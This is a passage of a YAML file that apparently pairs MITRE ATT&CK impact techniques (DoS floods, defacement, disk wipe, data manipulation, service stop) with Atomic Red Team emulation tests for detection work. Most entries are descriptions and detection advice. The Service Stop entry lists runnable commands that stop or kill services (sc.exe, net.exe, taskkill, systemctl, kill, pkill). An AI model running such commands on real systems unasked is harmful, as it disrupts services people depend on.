      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1498.001:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Direct Network Flood
      description: |-
        Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.

        Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_deprecated: false
      x_mitre_detection: 'Detection of a network flood can sometimes be achieved before
        the traffic volume is sufficient to cause impact to the availability of the
        service, but such response time typically requires very aggressive monitoring
        and responsiveness or services provided by an upstream network service provider.
        Typical network throughput monitoring tools such as netflow(Citation: Cisco
        DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases
        in network or service utilization. Real-time, automated, and qualitative study
        of the network traffic can identify a sudden surge in one type of protocol
        can be used to detect a network flood event as it starts. Often, the lead
        time may be small and the indicator of an event availability of the network
        or service drops. The analysis tools mentioned can then be used to determine
        the type of DoS causing the outage and help with remediation.'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Sensor Health: Host Status'
      x_mitre_impact_type:
      - Availability
      type: attack-pattern
      id: attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3
      created: '2020-03-02T20:07:18.651Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1498/001
        external_id: T1498.001
      - source_name: Cisco DoSdetectNetflow
        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
          Retrieved April 25, 2019.
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
      - source_name: USNYAG IranianBotnet March 2016
        description: Preet Bharara, US Attorney. (2016, March 24). Retrieved April
          23, 2019.
        url: https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
    atomic_tests: []
  T1491.002:
    technique:
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3
      type: attack-pattern
      created: '2020-02-20T14:34:08.496Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1491.002
        url: https://attack.mitre.org/techniques/T1491/002
      - source_name: FireEye Cyber Threats to Media Industries
        url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf
        description: FireEye. (n.d.). Retrieved April 19, 2019.
      - source_name: Kevin Mandia Statement to US Senate Committee on Intelligence
        url: https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf
        description: Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia,
          CEO of FireEye, Inc. before the United States Senate Select Committee on
          Intelligence. Retrieved April 19, 2019.
      - source_name: Anonymous Hackers Deface Russian Govt Site
        url: https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/
        description: Andy. (2018, May 12). ‘Anonymous’ Hackers Deface Russian Govt.
          Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.
      - source_name: Trend Micro Deep Dive Into Defacement
        url: https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf
        description: 'Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo
          Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement:
          How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.'
      modified: '2022-05-11T14:00:00.188Z'
      name: External Defacement
      description: 'An adversary may deface systems external to an organization in
        an attempt to deliver messaging, intimidate, or otherwise mislead an organization
        or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002)
        may ultimately cause users to distrust the systems and to question/discredit
        the system’s integrity. Externally-facing websites are a common victim of
        defacement; often targeted by adversary and hacktivist groups in order to
        push a political message or spread propaganda.(Citation: FireEye Cyber Threats
        to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee
        on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External
        Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as
        a catalyst to trigger events, or as a response to actions taken by an organization
        or government. Similarly, website defacement may also be used as setup, or
        a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation:
        Trend Micro Deep Dive Into Defacement)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_detection: Monitor external websites for unplanned content changes.
        Monitor application logs for abnormal behavior that may indicate attempted
        or successful exploitation. Use deep packet inspection to look for artifacts
        of common exploit traffic, such as SQL injection. Web Application Firewalls
        may detect improper inputs attempting exploitation.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_impact_type:
      - Integrity
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1499.001:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: OS Exhaustion Flood
      description: |-
        Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.

        Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)

        ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_deprecated: false
      x_mitre_detection: 'Detection of Endpoint DoS can sometimes be achieved before
        the effect is sufficient to cause significant impact to the availability of
        the service, but such response time typically requires very aggressive monitoring
        and responsiveness. Typical network throughput monitoring tools such as netflow,
        SNMP, and custom scripts can be used to detect sudden increases in circuit
        utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative
        study of the network traffic can identify a sudden surge in one type of protocol
        can be used to detect an attack as it starts.'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Sensor Health: Host Status'
      x_mitre_impact_type:
      - Availability
      type: attack-pattern
      id: attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7
      created: '2020-02-20T15:27:18.581Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1499/001
        external_id: T1499.001
      - source_name: Cisco DoSdetectNetflow
        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
          Retrieved April 25, 2019.
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
      - source_name: Cloudflare SynFlood
        description: Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April
          22, 2019.
        url: https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/
      - source_name: Corero SYN-ACKflood
        description: Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April
          22, 2019.
        url: https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html
      - source_name: Arbor AnnualDoSreport Jan 2018
        description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill
          Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight
          into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide
          Infrastructure Security Report. Retrieved April 22, 2019.
        url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
    atomic_tests: []
  T1499.003:
    technique:
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9
      type: attack-pattern
      created: '2020-02-20T15:35:00.025Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1499.003
        url: https://attack.mitre.org/techniques/T1499/003
      - source_name: Arbor AnnualDoSreport Jan 2018
        url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
        description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill
          Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight
          into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide
          Infrastructure Security Report. Retrieved April 22, 2019.
      - source_name: Cisco DoSdetectNetflow
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
          Retrieved April 25, 2019.
      modified: '2022-05-11T14:00:00.188Z'
      name: Application Exhaustion Flood
      description: 'Adversaries may target resource intensive features of applications
        to cause a denial of service (DoS), denying availability to those applications.
        For example, specific features in web applications may be highly resource
        intensive. Repeated requests to those features may be able to exhaust system
        resources and deny access to the application or the server itself.(Citation:
        Arbor AnnualDoSreport Jan 2018)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_detection: |-
        Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.

        In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Sensor Health: Host Status'
      - 'Application Log: Application Log Content'
      x_mitre_impact_type:
      - Availability
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1561:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Disk Wipe
      description: |-
        Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.

        To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)

        On network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_contributors:
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: 'Look for attempts to read/write to sensitive locations like
        the partition boot sector, master boot record, disk partition table, or BIOS
        parameter block/superblock. Monitor for direct access read/write attempts
        using the <code>\\\\.\\</code> notation.(Citation: Microsoft Sysmon v6 May
        2017) Monitor for unusual kernel driver installation activity.'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Driver: Driver Load'
      - 'Drive: Drive Access'
      - 'Command: Command Execution'
      - 'Drive: Drive Modification'
      - 'Process: Process Creation'
      x_mitre_impact_type:
      - Availability
      type: attack-pattern
      id: attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967
      created: '2020-02-20T22:02:20.372Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1561
        external_id: T1561
      - source_name: erase_cmd_cisco
        description: Cisco. (2022, August 16). erase - Cisco IOS Configuration Fundamentals
          Command Reference . Retrieved July 13, 2022.
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/D_through_E.html#wp3557227463
      - source_name: Novetta Blockbuster Destructive Malware
        description: 'Novetta Threat Research Group. (2016, February 24). Operation
          Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.'
        url: https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
      - source_name: Microsoft Sysmon v6 May 2017
        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
          December 13, 2017.
        url: https://docs.microsoft.com/sysinternals/downloads/sysmon
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1565.001:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292
      created: '2020-03-02T14:22:24.410Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1565.001
        url: https://attack.mitre.org/techniques/T1565/001
      - source_name: DOJ Lazarus Sony 2018
        url: https://www.justice.gov/opa/press-release/file/1092091/download
        description: Department of Justice. (2018, September 6). Criminal Complaint
          - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.
      - source_name: FireEye APT38 Oct 2018
        url: https://content.fireeye.com/apt/rpt-apt38
        description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved
          November 6, 2018.'
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

        Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Stored Data Manipulation
      x_mitre_detection: Where applicable, inspect important file hashes, locations,
        and modifications for suspicious/unexpected values.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'File: File Creation'
      - 'File: File Deletion'
      x_mitre_impact_type:
      - Integrity
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1489:
    technique:
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b
      created: '2019-03-29T19:00:55.901Z'
      x_mitre_version: '1.2'
      external_references:
      - source_name: mitre-attack
        external_id: T1489
        url: https://attack.mitre.org/techniques/T1489
      - source_name: SecureWorks WannaCry Analysis
        url: https://www.secureworks.com/research/wcry-ransomware-analysis
        description: Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware
          Analysis. Retrieved March 26, 2019.
      - source_name: Talos Olympic Destroyer 2018
        url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
      - source_name: Novetta Blockbuster
        url: https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
        description: 'Novetta Threat Research Group. (2016, February 24). Operation
          Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February
          25, 2016.'
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may stop or disable services on a system to render
        those services unavailable to legitimate users. Stopping critical services
        or processes can inhibit or stop response to an incident or aid in the adversary's
        overall objectives to cause damage to the environment.(Citation: Talos Olympic
        Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish
        this by disabling individual services of high importance to an organization,
        such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible
        (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable
        many or all services to render systems unusable.(Citation: Talos Olympic Destroyer
        2018) Services or processes may not allow for modification of their data stores
        while running. Adversaries may stop services or processes in order to conduct
        [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted
        for Impact](https://attack.mitre.org/techniques/T1486) on the data stores
        of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)"
      modified: '2022-11-08T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Service Stop
      x_mitre_detection: |-
        Monitor processes and command-line arguments to see if critical processes are terminated or stop running.

        Monitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.

        Alterations to the service binary path or the service startup type changed to disabled may be suspicious.

        Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, <code>ChangeServiceConfigW</code> may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: Process Termination'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: OS API Execution'
      - 'Service: Service Metadata'
      x_mitre_impact_type:
      - Availability
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1489
    atomic_tests:
    - name: Windows - Stop service using Service Controller
      auto_generated_guid: 21dfb440-830d-4c86-a3e5-2a491d5a8d04
      description: |
        Stops a specified service using the sc.exe command. Upon execution, if the spooler service was running infomration will be displayed saying
        it has changed to a state of STOP_PENDING. If the spooler service was not running "The service has not been started." will be displayed and it can be
        started by running the cleanup command.
      supported_platforms:
      - windows
      input_arguments:
        service_name:
          description: Name of a service to stop
          type: string
          default: spooler
      executor:
        command: 'sc.exe stop #{service_name}

          '
        cleanup_command: 'sc.exe start #{service_name} >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Windows - Stop service using net.exe
      auto_generated_guid: 41274289-ec9c-4213-bea4-e43c4aa57954
      description: |
        Stops a specified service using the net.exe command. Upon execution, if the service was running "The Print Spooler service was stopped successfully."
        will be displayed. If the service was not running, "The Print Spooler service is not started." will be displayed and it can be
        started by running the cleanup command.
      supported_platforms:
      - windows
      input_arguments:
        service_name:
          description: Name of a service to stop
          type: string
          default: spooler
      executor:
        command: 'net.exe stop #{service_name}

          '
        cleanup_command: 'net.exe start #{service_name} >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Windows - Stop service by killing process
      auto_generated_guid: f3191b84-c38b-400b-867e-3a217a27795f
      description: |
        Stops a specified service killng the service's process.
        This technique was used by WannaCry. Upon execution, if the spoolsv service was running "SUCCESS: The process "spoolsv.exe" with PID 2316 has been terminated."
        will be displayed. If the service was not running "ERROR: The process "spoolsv.exe" not found." will be displayed and it can be
        started by running the cleanup command.
      supported_platforms:
      - windows
      input_arguments:
        process_name:
          description: Name of a process to kill
          type: string
          default: spoolsv.exe
      executor:
        command: 'taskkill.exe /f /im #{process_name}

          '
        name: command_prompt
    - name: Linux - Stop service using systemctl
      auto_generated_guid: 42e3a5bd-1e45-427f-aa08-2a65fa29a820
      description: |
        Stops a specified service using the systemctl command.
        Upon execution, if the specified service was running, it will change to a state of inactive and it can be restarted by running the cleanup command.
        You can list all available services with following command: "systemctl list-units --type=service"
      supported_platforms:
      - linux
      input_arguments:
        service_name:
          description: Name of a service to stop
          type: string
          default: cron
      executor:
        command: 'sudo systemctl stop #{service_name}

          '
        cleanup_command: 'sudo systemctl start #{service_name} 2> /dev/null

          '
        name: sh
        elevation_required: true
    - name: Linux - Stop service by killing process using killall
      auto_generated_guid: e5d95be6-02ee-4ff1-aebe-cf86013b6189
      description: |
        Stops a specified service by sending a SIGTERM signal to the linked process using the killall command.
        Upon execution, if the service's main process was running, it will be terminated.
        If the service was not running, no process will be found to kill and it can be restarted by running the cleanup command.
        You can list all available services with following command: "systemctl list-units --type=service"
      supported_platforms:
      - linux
      input_arguments:
        process_name:
          description: Name of a process to stop
          type: string
          default: cron
        service_name:
          description: Name of a service to restart
          type: string
          default: cron
      executor:
        command: 'sudo killall -SIGTERM #{process_name}

          '
        cleanup_command: 'sudo systemctl start #{service_name} 2> /dev/null

          '
        name: sh
        elevation_required: true
    - name: Linux - Stop service by killing process using kill
      auto_generated_guid: 332f4c76-7e96-41a6-8cc2-7361c49db8be
      description: |
        Stops a specified service by sending a SIGTERM signal to the linked process using the kill command. Upon execution, if the service's main process was running, it will be terminated.
        If the service was not running, no process will be found to kill and it can be restarted by running the cleanup command.
        You can list all available services with following command: "systemctl list-units --type=service"
      supported_platforms:
      - linux
      input_arguments:
        process_name:
          description: Name of a process to kill
          type: string
          default: cron
        service_name:
          description: Name of a service to restart
          type: string
          default: cron
      executor:
        command: 'sudo kill -SIGTERM $(pgrep #{process_name})

          '
        cleanup_command: 'sudo systemctl start #{service_name} 2> /dev/null

          '
        name: sh
        elevation_required: true
    - name: Linux - Stop service by killing process using pkill
      auto_generated_guid: '08b4718f-a8bf-4bb5-a552-294fc5178fea'
      description: |
        Stops a specified service by sending a SIGTERM signal to the linked process using pkill. This method is effective when multiple instances of the process may be running.
        Upon execution, if any instances of the process were running, they will be terminated. If no instances were running, pkill will not find any processes to kill.
        Stopped service can be restarted by running the cleanup command.
        You can list all available services with following command: "systemctl list-units --type=service"
      supported_platforms:
      - linux
      input_arguments:
        process_pattern:
          description: Pattern to match the name of the process to kill
          type: string
          default: "^cron$"
        service_name:
          description: Name of a service to restart
          type: string
          default: cron
      executor:
        command: 'sudo pkill -SIGTERM #{process_pattern}

          '
        cleanup_command: 'sudo systemctl start #{service_name} 2> /dev/null

          '
        name: sh
        elevation_required: true
  T1499.004:
    technique:
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0
      type: attack-pattern
      created: '2020-02-20T15:37:27.052Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1499.004
        url: https://attack.mitre.org/techniques/T1499/004
      - source_name: Sucuri BIND9 August 2015
        url: https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html
        description: Cid, D.. (2015, August 2). BIND9 – Denial of Service Exploit
          in the Wild. Retrieved April 26, 2019.
      modified: '2022-05-11T14:00:00.188Z'
      name: Application or System Exploitation
      description: "Adversaries may exploit software vulnerabilities that can cause
        an application or system to crash and deny availability to users. (Citation:
        Sucuri BIND9 August 2015) Some systems may automatically restart critical
        applications and services when crashes occur, but they can likely be re-exploited
        to cause a persistent denial of service (DoS) condition.\n\nAdversaries may
        exploit known or zero-day vulnerabilities to crash applications and/or systems,
        which may also lead to dependent applications and/or systems to be in a DoS
        condition. Crashed or restarted applications or systems may also have other
        effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485),
        [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service
        Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause
        a DoS condition and deny availability to critical information, applications
        and/or systems. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_detection: Attacks targeting web applications may generate logs in the
        web server, application server, and/or database server that can be used to
        identify the type of attack. Externally monitor the availability of services
        that may be targeted by an Endpoint DoS.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Sensor Health: Host Status'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_impact_type:
      - Availability
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1565.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490
      type: attack-pattern
      created: '2020-03-02T14:30:05.252Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1565.003
        url: https://attack.mitre.org/techniques/T1565/003
      - description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved
          November 6, 2018.'
        url: https://content.fireeye.com/apt/rpt-apt38
        source_name: FireEye APT38 Oct 2018
      - source_name: DOJ Lazarus Sony 2018
        url: https://www.justice.gov/opa/press-release/file/1092091/download
        description: Department of Justice. (2018, September 6). Criminal Complaint
